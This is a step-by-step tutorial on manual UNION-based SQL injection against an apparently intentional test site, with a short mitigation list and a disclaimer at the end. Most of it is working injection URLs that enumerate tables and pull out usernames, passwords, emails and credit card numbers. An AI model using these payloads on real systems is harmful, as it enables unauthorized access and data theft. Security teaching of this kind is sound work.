Manual SQL Injection Exploitation: Step-by-Step Guide

Introduction
SQL Injection is a web security vulnerability that allows an attacker to interfere with an application's database queries. This guide walks through the step-by-step process of manually exploiting an SQL injection vulnerability.

Step 1: Identifying a Vulnerable URL
Start by identifying a web application with a vulnerable parameter.

Example URL:
http://testphp.vulnweb.com/artists.php?artist=1

Step 2: Testing for SQL Injection Vulnerability
To check for SQL injection, insert a single quote (') at the end of the parameter value and observe the response.

Test Query:
http://testphp.vulnweb.com/artists.php?artist=1'

If the website returns an error, it indicates a possible vulnerability.

Step 3: Finding the Number of Columns
Use the ORDER BY clause incrementally until an error is encountered.

http://testphp.vulnweb.com/artists.php?artist=1 order by 1
http://testphp.vulnweb.com/artists.php?artist=1 order by 2
http://testphp.vulnweb.com/artists.php?artist=1 order by 3
http://testphp.vulnweb.com/artists.php?artist=1 order by 4

If the query fails at ORDER BY 4, the table likely has only 3 columns.

Step 4: Performing UNION-Based SQL Injection

Using UNION SELECT, retrieve data from other tables.

Query to Check Column Position:
http://testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3

If successful, numbers (1,2,3) will be displayed somewhere on the page.

Step 5: Extracting Database Information
To extract the database name:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,database(),3

To extract the database version and current user:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,version(),current_user()

Step 6: Extracting Table Names
To list all tables in the database:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1

Repeat with limit incrementing to list all tables.

Step 7: Extracting Column Names
To extract column names from the 'users' table:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

Step 8: Extracting Data from the Users Table
Extract usernames:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(uname),3 from users

Extract passwords:
http://testphp.vulnweb.com/artists.php?artist=-1 union select

1,group_concat(pass),3 from users

Extract emails:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(email),3 from users

Extract credit card numbers (if stored insecurely):
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(cc),3 from users

Conclusion
This guide demonstrates how SQL Injection can be used to exploit vulnerabilities.

Mitigation Strategies:
- Use prepared statements and parameterized queries
- Implement input validation and whitelisting
- Limit database user permissions
- Employ Web Application Firewalls (WAFs)

****Disclaimer:** This guide is for educational purposes only. Unauthorized access to systems is illegal.**